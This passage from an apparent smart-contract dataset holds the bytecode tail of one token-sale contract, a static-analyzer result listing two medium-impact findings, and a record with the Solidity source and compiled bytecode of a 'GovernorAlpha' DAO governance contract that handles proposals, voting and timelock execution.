b610181600160a060020a0360043516610b7f565b005b34156105f457fe5b610223610bc8565b60408051918252519081900360200190f35b341561061657fe5b610223610bd5565b60408051918252519081900360200190f35b341561063857fe5b610181600160a060020a0360043516610bdc565b005b6003546000908190819060ff16151561081a576003805460ff19166001908117909155600160a060020a03331660009081526009602052604090205460ff1615151461069a5760006000fd5b60005460a060020a900460ff16156106b25760006000fd5b3392506106bd610885565b91506005548210806106d157508160075411155b156106dc5760006000fd5b60065482101561072257600160a060020a038316600090815260026020526040812054111561070b5760006000fd5b68022b1c8c1227a000003411156107225760006000fd5b5b600454689032ea62b74b10000090610741903463ffffffff610c3516565b111561074d5760006000fd5b61075e34600863ffffffff610c4f16565b600154909150610774908263ffffffff610c3516565b600155600160a060020a0383166000908152600260205260409020546107a0908263ffffffff610c3516565b600160a060020a0384166000908152600260205260409020556004546107cc903463ffffffff610c3516565b5060405173651a3731f717a17777c9d8d6f152aa9284978ea3903480156108fc02916000818181858888f1935050505015156108085760006000fd5b5b5b5b6003805460ff19169055610820565b60006000fd5b5b505050565b60408051808201909152601181527f457463682052657761726420546f6b656e000000000000000000000000000000602082015281565b60015481565b600160a060020a03811660009081526009602052604090205460ff165b919050565b600a54600090156108995750600a5461089c565b50435b90565b73651a3731f717a17777c9d8d6f152aa9284978ea381565b601281565b6000805433600160a060020a039081169116146108d95760006000fd5b60005460a060020a900460ff1615156108f25760006000fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a15060015b5b5b90565b60075481565b600a5481565b60065481565b60005460a060020a900460ff1681565b600160a060020a0381166000908152600260205260409020545b919050565b60055481565b6000805433600160a060020a039081169116146109a45760006000fd5b60005460a060020a900460ff16156109bc5760006000fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a15060015b5b5b90565b600881565b600054600160a060020a031681565b60408051808201909152600581527f4554434852000000000000000000000000000000000000000000000000000000602082015281565b60006000fd5b5050565b60045481565b61161f81565b60005433600160a060020a03908116911614610a8d5760006000fd5b600160a060020a0381166000908152600960205260409020805460ff191660011790555b5b50565b600854600160a060020a031681565b600854600160a060020a03161580610aeb575060085433600160a060020a03908116911614155b15610af65760006000fd5b60005460a060020a900460ff1615610b0e5760006000fd5b600754610b19610885565b1015610b255760006000fd5b600160a060020a038116600090815260026020526040902054600154610b509163ffffffff610c7e16565b600155600160a060020a0381166000908152600260205260408120555b5b5b50565b68022b1c8c1227a0000081565b60005433600160a060020a03908116911614610b9b5760006000fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b689032ea62b74b10000081565b620135b281565b60005433600160a060020a03908116911614610bf85760006000fd5b600160a060020a03811615610ab1576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600082820183811015610c4457fe5b8091505b5092915050565b6000828202831580610c6b5750828482811515610c6857fe5b04145b1515610c4457fe5b8091505b5092915050565b600082821115610c8a57fe5b508082035b929150505600a165627a7a7230582020724bf6e62eff2181a0f101079f0b45f629a04133d92366a2dd40170e2eb72c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,318 |
0x32c1970560a604bcFF4c4C82AcF9F47161b5f428
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
/// @author Alchemy Team
/// @title GovernorAlpha
/// @notice The GovernorAlpha Contract for Alchemys
contract GovernorAlpha {
// The name of this contract
string public constant name = "NFT DAO Governor Alpha";
// supply of the governor token
uint public totalSupply;
// The duration of voting on a proposal, in blocks
uint public votingPeriod;
// The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint) { return (totalSupply) / 100 * 4; } // 4% of NFT DAO
// The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint) { return (totalSupply) / 100; } // 1% of NFT DAO
//e The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
// The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
// The address of the NFT Protocol Timelock
TimelockInterface public timelock;
// The address of the NFT governance token
NftInterface public nft;
// The total number of proposals
uint public proposalCount;
struct Proposal {
// Unique id for looking up a proposal
uint id;
// Creator of the proposal
address proposer;
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
// the ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
// The block at which voting ends: votes must be cast prior to this block
uint endBlock;
// Current number of votes in favor of this proposal
uint forVotes;
// Current number of votes in opposition to this proposal
uint againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
// Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint256 votes;
}
// Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
// The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
// The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
// The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
// The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
// An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
// An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
// An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
// An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
// An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor() public {
// Don't allow implementation to be initialized.
nft = NftInterface(address(1));
}
function initialize(
address nft_,
address timelock_,
uint supply_,
uint votingPeriod_
) external {
require(address(nft) == address(0), "Already initialized");
require(nft_ != address(0), "Invalid NFT address");
require(votingPeriod_ > 0, "Voting period cant be 0");
nft = NftInterface(nft_);
totalSupply = supply_;
votingPeriod = votingPeriod_;
timelock = TimelockInterface(timelock_);
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(nft.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod);
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value:proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState currentState = state(proposalId);
require(currentState != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(nft.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint256 votes = nft.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface NftInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
}
|
0x60806040526004361061014b5760003560e01c80634634c61f116100b6578063da95691a1161006f578063da95691a146104a3578063ddf0b009146104e0578063deaaa7cc14610509578063e23a9a5214610534578063eb990c5914610571578063fe0d94c11461059a5761014b565b80634634c61f146103a357806347ccca02146103cc5780637bdbe4d0146103f7578063b58131b014610422578063d33219b41461044d578063da35c664146104785761014b565b806320606b701161010857806320606b701461027c57806324bc1a64146102a7578063328dd982146102d25780633932abb1146103125780633e4f49e61461033d57806340e58ee51461037a5761014b565b8063013cf08b1461015057806302a251a31461019557806306fdde03146101c057806315373e3d146101eb57806317977c611461021457806318160ddd14610251575b600080fd5b34801561015c57600080fd5b5061017760048036038101906101729190612e4e565b6105b6565b60405161018c999897969594939291906144bc565b60405180910390f35b3480156101a157600080fd5b506101aa61063e565b6040516101b791906143f1565b60405180910390f35b3480156101cc57600080fd5b506101d5610644565b6040516101e29190614134565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d9190612edc565b61067d565b005b34801561022057600080fd5b5061023b60048036038101906102369190612c40565b61068c565b60405161024891906143f1565b60405180910390f35b34801561025d57600080fd5b506102666106a4565b60405161027391906143f1565b60405180910390f35b34801561028857600080fd5b506102916106aa565b60405161029e9190614007565b60405180910390f35b3480156102b357600080fd5b506102bc6106c1565b6040516102c991906143f1565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f49190612e4e565b6106d8565b6040516103099493929190613fa6565b60405180910390f35b34801561031e57600080fd5b506103276109b5565b60405161033491906143f1565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190612e4e565b6109be565b6040516103719190614119565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190612e4e565b610ba3565b005b3480156103af57600080fd5b506103ca60048036038101906103c59190612f18565b610eda565b005b3480156103d857600080fd5b506103e16110a9565b6040516103ee91906140e3565b60405180910390f35b34801561040357600080fd5b5061040c6110cf565b60405161041991906143f1565b60405180910390f35b34801561042e57600080fd5b506104376110d8565b60405161044491906143f1565b60405180910390f35b34801561045957600080fd5b506104626110ec565b60405161046f91906140fe565b60405180910390f35b34801561048457600080fd5b5061048d611112565b60405161049a91906143f1565b60405180910390f35b3480156104af57600080fd5b506104ca60048036038101906104c59190612ccc565b611118565b6040516104d791906143f1565b60405180910390f35b3480156104ec57600080fd5b5061050760048036038101906105029190612e4e565b6116d2565b005b34801561051557600080fd5b5061051e611a22565b60405161052b9190614007565b60405180910390f35b34801561054057600080fd5b5061055b60048036038101906105569190612ea0565b611a39565b60405161056891906143d6565b60405180910390f35b34801561057d57600080fd5b5061059860048036038101906105939190612c69565b611ae7565b005b6105b460048036038101906105af9190612e4e565b611cc1565b005b60056020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b60015481565b6040518060400160405280601681526020017f4e46542044414f20476f7665726e6f7220416c7068610000000000000000000081525081565b610688338383611f0f565b5050565b60066020528060005260406000206000915090505481565b60005481565b6040516106b690613e23565b604051809103902081565b600060046064600054816106d157fe5b0402905090565b6060806060806000600560008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561078657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161073c575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156107d857602002820191906000526020600020905b8154815260200190600101908083116107c4575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108bc578382906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108a85780601f1061087d576101008083540402835291602001916108a8565b820191906000526020600020905b81548152906001019060200180831161088b57829003601f168201915b505050505081526020019060010190610800565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561099f578382906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561098b5780601f106109605761010080835404028352916020019161098b565b820191906000526020600020905b81548152906001019060200180831161096e57829003601f168201915b5050505050815260200190600101906108e3565b5050505090509450945094509450509193509193565b60006001905090565b600081600454101580156109d25750600082115b610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0890614196565b60405180910390fd5b600060056000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610a49576002915050610b9e565b80600701544311610a5e576000915050610b9e565b80600801544311610a73576001915050610b9e565b80600a01548160090154111580610a945750610a8d6106c1565b8160090154105b15610aa3576003915050610b9e565b600081600201541415610aba576004915050610b9e565b80600b0160019054906101000a900460ff1615610adb576007915050610b9e565b610b888160020154600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4b57600080fd5b505afa158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b839190612e77565b612198565b4210610b98576006915050610b9e565b60059150505b919050565b6000610bae826109be565b9050600780811115610bbc57fe5b816007811115610bc857fe5b1415610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090614356565b60405180910390fd5b6000600560008481526020019081526020016000209050610c286110d8565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c964360016121ed565b6040518363ffffffff1660e01b8152600401610cb3929190613e76565b60206040518083038186803b158015610ccb57600080fd5b505afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d039190612e77565b10610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90614276565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b8160030180549050811015610e9d57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe836003018381548110610dc257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018481548110610dfc57fe5b9060005260206000200154856005018581548110610e1657fe5b90600052602060002001866006018681548110610e2f57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610e5e959493929190613f45565b600060405180830381600087803b158015610e7857600080fd5b505af1158015610e8c573d6000803e3d6000fd5b505050508080600101915050610d66565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610ecd91906143f1565b60405180910390a1505050565b6000604051610ee890613e23565b60405180910390206040518060400160405280601681526020017f4e46542044414f20476f7665726e6f7220416c7068610000000000000000000081525080519060200120610f3561223d565b30604051602001610f499493929190614022565b6040516020818303038152906040528051906020012090506000604051610f6f90613e38565b60405180910390208787604051602001610f8b93929190614067565b60405160208183030381529060405280519060200120905060008282604051602001610fb8929190613dec565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610ff5949392919061409e565b6020604051602081039080840390855afa158015611017573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a906142f6565b60405180910390fd5b61109e818a8a611f0f565b505050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a905090565b60006064600054816110e657fe5b04905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60006111226110d8565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe13361116c4360016121ed565b6040518363ffffffff1660e01b8152600401611189929190613e4d565b60206040518083038186803b1580156111a157600080fd5b505afa1580156111b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d99190612e77565b11611219576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611210906142d6565b60405180910390fd5b8451865114801561122b575083518651145b8015611238575082518651145b611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e90614256565b60405180910390fd5b6000865114156112bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b3906142b6565b60405180910390fd5b6112c46110cf565b86511115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90614216565b60405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811461141657600061135e826109be565b90506001600781111561136d57fe5b81600781111561137957fe5b14156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190614336565b60405180910390fd5b600060078111156113c757fe5b8160078111156113d357fe5b1415611414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140b906141f6565b60405180910390fd5b505b6000611429436114246109b5565b612198565b9050600061143982600154612198565b9050600460008154809291906001019190505550611455612420565b604051806101a0016040528060045481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060056000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301908051906020019061155f9291906124a2565b50608082015181600401908051906020019061157c92919061252c565b5060a0820151816005019080519060200190611599929190612579565b5060c08201518160060190805190602001906115b69291906125d9565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160066000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516116b69998979695949392919061440c565b60405180910390a1806000015194505050505095945050505050565b600460078111156116df57fe5b6116e8826109be565b60078111156116f357fe5b14611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90614156565b60405180910390fd5b600060056000838152602001908152602001600020905060006117f542600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612e77565b612198565b905060008090505b82600301805490508110156119da576119cd83600301828154811061181e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600401838154811061185857fe5b906000526020600020015485600501848154811061187257fe5b906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119105780601f106118e557610100808354040283529160200191611910565b820191906000526020600020905b8154815290600101906020018083116118f357829003601f168201915b505050505086600601858154811061192457fe5b906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119c25780601f10611997576101008083540402835291602001916119c2565b820191906000526020600020905b8154815290600101906020018083116119a557829003601f168201915b50505050508661224a565b80806001019150506117fd565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28928382604051611a15929190614549565b60405180910390a1505050565b604051611a2e90613e38565b604051809103902081565b611a41612639565b60056000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff16151515158152602001600182015481525050905092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f90614316565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf906141d6565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906143b6565b60405180910390fd5b83600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816000819055508060018190555082600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b60056007811115611cce57fe5b611cd7826109be565b6007811115611ce257fe5b14611d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1990614176565b60405180910390fd5b6000600560008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b8160030180549050811015611ed357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f836004018381548110611db857fe5b9060005260206000200154846003018481548110611dd257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856004018581548110611e0c57fe5b9060005260206000200154866005018681548110611e2657fe5b90600052602060002001876006018781548110611e3f57fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611e6e959493929190613f45565b6000604051808303818588803b158015611e8757600080fd5b505af1158015611e9b573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611ec59190612e0d565b508080600101915050611d5c565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611f0391906143f1565b60405180910390a15050565b60016007811115611f1c57fe5b611f25836109be565b6007811115611f3057fe5b14611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790614376565b60405180910390fd5b6000600560008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff16151514612024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201b906141b6565b60405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401612087929190613e76565b60206040518083038186803b15801561209f57600080fd5b505afa1580156120b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120d79190612e77565b905083156120fa576120ed836009015482612198565b8360090181905550612111565b61210883600a015482612198565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff0219169083151502179055508082600101819055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c46868686846040516121889493929190613e9f565b60405180910390a1505050505050565b6000808284019050838110156121e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121da90614236565b60405180910390fd5b8091505092915050565b600082821115612232576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222990614396565b60405180910390fd5b818303905092915050565b6000804690508091505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b0653786868686866040516020016122a1959493929190613ee4565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016122d39190614007565b60206040518083038186803b1580156122eb57600080fd5b505afa1580156122ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123239190612dbb565b15612363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235a90614296565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b81526004016123c6959493929190613ee4565b602060405180830381600087803b1580156123e057600080fd5b505af11580156123f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124189190612de4565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b82805482825590600052602060002090810192821561251b579160200282015b8281111561251a5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906124c2565b5b509050612528919061265e565b5090565b828054828255906000526020600020908101928215612568579160200282015b8281111561256757825182559160200191906001019061254c565b5b50905061257591906126a1565b5090565b8280548282559060005260206000209081019282156125c8579160200282015b828111156125c75782518290805190602001906125b79291906126c6565b5091602001919060010190612599565b5b5090506125d59190612746565b5090565b828054828255906000526020600020908101928215612628579160200282015b82811115612627578251829080519060200190612617929190612772565b50916020019190600101906125f9565b5b50905061263591906127f2565b5090565b6040518060600160405280600015158152602001600015158152602001600081525090565b61269e91905b8082111561269a57600081816101000a81549073ffffffffffffffffffffffffff